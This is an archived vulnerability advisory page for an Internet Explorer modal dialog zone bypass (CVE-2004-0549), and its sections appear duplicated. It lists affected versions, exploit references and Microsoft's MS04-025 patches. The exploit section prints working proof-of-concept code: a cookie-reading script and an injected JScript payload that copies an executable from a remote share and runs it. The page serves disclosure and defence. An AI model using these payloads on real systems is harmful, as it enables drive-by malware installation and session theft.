Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
BID:10473
Info
Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
| Bugtraq ID: | 10473 |
| Class: | Origin Validation Error |
| CVE: |
CVE-2004-0549 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 06 2004 12:00AM |
| Updated: | Jul 12 2009 05:16AM |
| Credit: | The discoverer of this issue is currently unknown. Rafel Ivgi, The-Insider and Jelmer provided a public analysis of the issue. |
| Vulnerable: |
Microsoft Internet Explorer 5.0.1 SP4 Microsoft Internet Explorer 5.0.1 SP3 Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
Microsoft Internet Explorer is prone to a vulnerability that may permit cross-zone access, allowing an attacker to execute malicious script code in the context of the Local Zone. It is possible to exploit this issue by passing a dynamically created IFrame to a modal dialog.
This vulnerability could be exploited in combination with a number of other security issues, such as the weakness described in BID 10472. The end result of successful exploitation is execution of arbitrary code in the context of the client user.
It may also be possible to exploit this vulnerability to access properties of a foreign domain, allowing for other types of attacks that compromise sensitive or private information associated with a domain of the attacker's choosing.
Microsoft Internet Explorer is prone to a vulnerability that may permit cross-zone access, allowing an attacker to execute malicious script code in the context of the Local Zone. It is possible to exploit this issue by passing a dynamically created IFrame to a modal dialog.
This vulnerability could be exploited in combination with a number of other security issues, such as the weakness described in BID 10472. The end result of successful exploitation is execution of arbitrary code in the context of the client user.
It may also be possible to exploit this vulnerability to access properties of a foreign domain, allowing for other types of attacks that compromise sensitive or private information associated with a domain of the attacker's choosing.
Exploit / POC
Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
An ASP version of this exploit is available at the following location:
http://ferruh.mavituna.com/article/?553
An updated version of the Jelmer exploit implemented in ASPX (The-Insider.zip) has been published by Rafel Ivgi. Further details in regards to this exploit can be found in the associated discussion reference.
An updated version of the Jelmer exploit implemented in PHP (dir.zip) has been published by Liu Die Yu. The payload.exe executable has been removed from the exploit archive. Further details in regards to this exploit can be found in the associated discussion reference.
There are reports of exploits circulating in the wild that employ this issue and BID 10472.
A proof-of-concept has been published at the following location:
http://62.131.86.111/security/idiots/repro/installer.htm
An additional proof of concept is also available:
Exploit page:
<HTML>
<SCRIPT>
//liudieyuinchina AT yahoo DzeroT com DzeroT cn
//ALL IE SECURITY MESSAGES!!!!!! always up2hour at http://iebug.com
//http://umbrella.name/
//message: davinci is still alive
location.href = "http://www.google.com/";
showModalDialog("md.htm",window).location = "JAVASCRIPT:alert(document.cookie)";
</SCRIPT>
</HTML>
md.htm contains:
<HTML>
Close this dialog when google is loaded in the main window.
<SCRIPT>
//liudieyuinchina AT yahoo DzeroT com DzeroT cn
//ALL IE SECURITY MESSAGES!!!!!! always up2hour at http://iebug.com
//http://umbrella.name/
//message: davinci is still alive
window.returnValue = window.dialogArguments;
</SCRIPT>
</HTML>
An additional proof of concept exploit supplied by, Ferruh Mavituna, that is reported to bypass vendor fixes is available:
New shellscript.js
=====================================================
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
e="%comspec% /c copy "+rF+" "+wF; var
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
=====================================================
Also for testing in IIS Servers; ASP equivalent of redir.jsp
redir.asp
=====================================================
<%
Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10
Next
Response.Status = "302 Found"
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
%>
=====================================================
These files are available at:
http://ferruh.mavituna.com/exploits/fm_ieshell.zip
An ASP version of this exploit is available at the following location:
http://ferruh.mavituna.com/article/?553
An updated version of the Jelmer exploit implemented in ASPX (The-Insider.zip) has been published by Rafel Ivgi. Further details in regards to this exploit can be found in the associated discussion reference.
An updated version of the Jelmer exploit implemented in PHP (dir.zip) has been published by Liu Die Yu. The payload.exe executable has been removed from the exploit archive. Further details in regards to this exploit can be found in the associated discussion reference.
There are reports of exploits circulating in the wild that employ this issue and BID 10472.
A proof-of-concept has been published at the following location:
http://62.131.86.111/security/idiots/repro/installer.htm
An additional proof of concept is also available:
Exploit page:
<HTML>
<SCRIPT>
//liudieyuinchina AT yahoo DzeroT com DzeroT cn
//ALL IE SECURITY MESSAGES!!!!!! always up2hour at http://iebug.com
//http://umbrella.name/
//message: davinci is still alive
location.href = "http://www.google.com/";
showModalDialog("md.htm",window).location = "JAVASCRIPT:alert(document.cookie)";
</SCRIPT>
</HTML>
md.htm contains:
<HTML>
Close this dialog when google is loaded in the main window.
<SCRIPT>
//liudieyuinchina AT yahoo DzeroT com DzeroT cn
//ALL IE SECURITY MESSAGES!!!!!! always up2hour at http://iebug.com
//http://umbrella.name/
//message: davinci is still alive
window.returnValue = window.dialogArguments;
</SCRIPT>
</HTML>
An additional proof of concept exploit supplied by, Ferruh Mavituna, that is reported to bypass vendor fixes is available:
New shellscript.js
=====================================================
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
e="%comspec% /c copy "+rF+" "+wF; var
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
=====================================================
Also for testing in IIS Servers; ASP equivalent of redir.jsp
redir.asp
=====================================================
<%
Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10
Next
Response.Status = "302 Found"
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
%>
=====================================================
These files are available at:
http://ferruh.mavituna.com/exploits/fm_ieshell.zip
Solution / Fix
Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
Solution:
Microsoft has released Security Bulletin MS04-025 to address this issue. This bulletin provides a cumulative patch for Internet Explorer to fix multiple vulnerabilities in supported versions of the application.
MS04-025 has been revised to provide updated fix information for Windows XP running Windows Update Version 5. Please see the attached Security Bulletin for further details.
Avaya has released advisory ASA-2004-26 dealing with this issue for their Avaya System Products. Please see the referenced web advisory for more information.
HP has reported that the application of the Microsoft patch included in MS04-025 may prevent users from logging into HP Systems Insight Manager with the Internet Explorer browser. HP has released an advisory (HPSBMA01072) and fixes to address this issue in the Systems Insight Manager. Please see the referenced advisory for further details regarding obtaining and applying an appropriate patch.
HP has released a revised advisory HPSBMA01076 (SSRT4787 Revised - HP Systems Insight Manager (SIM) for HP-UX Remote Denial of Service (DoS)) to address this issue. Please see the referenced advisory for more information.
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP1
Microsoft Internet Explorer 5.0.1 SP3
Microsoft Internet Explorer 5.0.1
Microsoft Internet Explorer 5.0.1 SP4
Microsoft Internet Explorer 5.0.1 SP2
Solution:
Microsoft has released Security Bulletin MS04-025 to address this issue. This bulletin provides a cumulative patch for Internet Explorer to fix multiple vulnerabilities in supported versions of the application.
MS04-025 has been revised to provide updated fix information for Windows XP running Windows Update Version 5. Please see the attached Security Bulletin for further details.
Avaya has released advisory ASA-2004-26 dealing with this issue for their Avaya System Products. Please see the referenced web advisory for more information.
HP has reported that the application of the Microsoft patch included in MS04-025 may prevent users from logging into HP Systems Insight Manager with the Internet Explorer browser. HP has released an advisory (HPSBMA01072) and fixes to address this issue in the Systems Insight Manager. Please see the referenced advisory for further details regarding obtaining and applying an appropriate patch.
HP has released a revised advisory HPSBMA01076 (SSRT4787 Revised - HP Systems Insight Manager (SIM) for HP-UX Remote Denial of Service (DoS)) to address this issue. Please see the referenced advisory for more information.
Microsoft Internet Explorer 6.0 SP1
-
Microsoft Cumulative Security Update for Internet Explorer 6 Service Pack 1 (KB867801)
http://download.microsoft.com/download/6/8/9/68923cc9-04f0-4add-98e7-f 7d72c88734d/IE6.0sp1-KB867801-x86-ENU.exe -
Microsoft Cumulative Security Update for Internet Explorer 6 SP1 64-bit Edition (KB867801)
This patch fixes the affected software on 64 bit platforms.
http://download.microsoft.com/download/8/6/2/862d7858-1315-4591-a12b-e 3429d43c302/IE6.0sp1-KB867801-ia64-ENU.exe -
Microsoft Cumulative Security Update for Internet Explorer 6 (KB867801)
For Internet Explorer 6 on Microsoft Windows XP.
http://www.microsoft.com/downloads/details.aspx?FamilyId=4C2F8A40-1B88 -4F93-98B1-1619DCFD7273&displaylang=en
Microsoft Internet Explorer 5.5 SP2
-
Microsoft Cumulative Security Update for Internet Explorer 5.5 Service Pack 2 (KB67801)
For Microsoft Windows Millennium Edition (Windows Me).
http://www.microsoft.com/downloads/details.aspx?FamilyId=E458480C-93F6 -454A-A663-FC187C18CD9B&displaylang=en
Microsoft Internet Explorer 6.0
-
Microsoft Cumulative Security Update for Internet Explorer for Windows Server 2003 (KB867801)
This patch fixes the affected software on Windows Server 2003 platforms.
http://download.microsoft.com/download/2/a/e/2ae9e877-f448-49b4-8505-6 c7feaf3d3eb/WindowsServer2003-KB867801-x86-enu.exe -
Microsoft Cumulative Security Update for Internet Explorer for Windows Server 2003 64-bit Edition (KB867801)
This patch fixes the affected software on 64 bit Windows Server 2003 platforms.
http://download.microsoft.com/download/3/e/4/3e40be32-21d4-4555-b770-3 aa87eebc028/WindowsServer2003-KB867801-ia64-enu.exe -
Microsoft Cumulative Security Update for Internet Explorer 6 (KB867801)
For Internet Explorer 6 on Microsoft Windows XP.
http://www.microsoft.com/downloads/details.aspx?FamilyId=4C2F8A40-1B88 -4F93-98B1-1619DCFD7273&displaylang=en
Microsoft Internet Explorer 5.0.1 SP1
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 2 (KB867801)
For Microsoft Windows 2000 SP2.
http://www.microsoft.com/downloads/details.aspx?FamilyId=507E71EF-076B -43C4-8028-E91FCFAB252B&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867801)
For Microsoft Windows 2000 SP3.
http://www.microsoft.com/downloads/details.aspx?FamilyId=7AA6F31D-7350 -43F8-B72E-ED9D62577A60&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867801)
For Microsoft Windows 2000 SP4.
http://www.microsoft.com/downloads/details.aspx?FamilyId=862E6914-821A -4C51-985B-C3958FAD3D4C&displaylang=en
Microsoft Internet Explorer 5.0.1 SP3
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 2 (KB867801)
For Microsoft Windows 2000 SP2.
http://www.microsoft.com/downloads/details.aspx?FamilyId=507E71EF-076B -43C4-8028-E91FCFAB252B&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867801)
For Microsoft Windows 2000 SP3.
http://www.microsoft.com/downloads/details.aspx?FamilyId=7AA6F31D-7350 -43F8-B72E-ED9D62577A60&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867801)
For Microsoft Windows 2000 SP4.
http://www.microsoft.com/downloads/details.aspx?FamilyId=862E6914-821A -4C51-985B-C3958FAD3D4C&displaylang=en
Microsoft Internet Explorer 5.0.1
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 2 (KB867801)
For Microsoft Windows 2000 SP2.
http://www.microsoft.com/downloads/details.aspx?FamilyId=507E71EF-076B -43C4-8028-E91FCFAB252B&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867801)
For Microsoft Windows 2000 SP3.
http://www.microsoft.com/downloads/details.aspx?FamilyId=7AA6F31D-7350 -43F8-B72E-ED9D62577A60&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867801)
For Microsoft Windows 2000 SP4.
http://www.microsoft.com/downloads/details.aspx?FamilyId=862E6914-821A -4C51-985B-C3958FAD3D4C&displaylang=en
Microsoft Internet Explorer 5.0.1 SP4
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 2 (KB867801)
For Microsoft Windows 2000 SP2.
http://www.microsoft.com/downloads/details.aspx?FamilyId=507E71EF-076B -43C4-8028-E91FCFAB252B&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867801)
For Microsoft Windows 2000 SP3.
http://www.microsoft.com/downloads/details.aspx?FamilyId=7AA6F31D-7350 -43F8-B72E-ED9D62577A60&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867801)
For Microsoft Windows 2000 SP4.
http://www.microsoft.com/downloads/details.aspx?FamilyId=862E6914-821A -4C51-985B-C3958FAD3D4C&displaylang=en
Microsoft Internet Explorer 5.0.1 SP2
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 2 (KB867801)
For Microsoft Windows 2000 SP2.
http://www.microsoft.com/downloads/details.aspx?FamilyId=507E71EF-076B -43C4-8028-E91FCFAB252B&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867801)
For Microsoft Windows 2000 SP3.
http://www.microsoft.com/downloads/details.aspx?FamilyId=7AA6F31D-7350 -43F8-B72E-ED9D62577A60&displaylang=en -
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867801)
For Microsoft Windows 2000 SP4.
http://www.microsoft.com/downloads/details.aspx?FamilyId=862E6914-821A -4C51-985B-C3958FAD3D4C&displaylang=en
References
Microsoft Internet Explorer Modal Dialog Zone Bypass Vulnerability
References:
References:
- An analysis of the 180 Solutions Trojan (Jelmer)
- ASA-2004-26 - Cumulative Security Update for Internet Explorer (MS04-025) (Avaya)
- Microsoft Security Bulletin MS04-025 (Microsoft)
- Technical Cyber Security Alert TA04-163A (CERT/CC)
- Vulnerability Note VU#713878 (CERT/CC)
- IE Shell URI Download and Execute, POC ("Ferruh Mavituna"
- IE/0DAY -> Insider Prototype (
- Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solution (Jelmer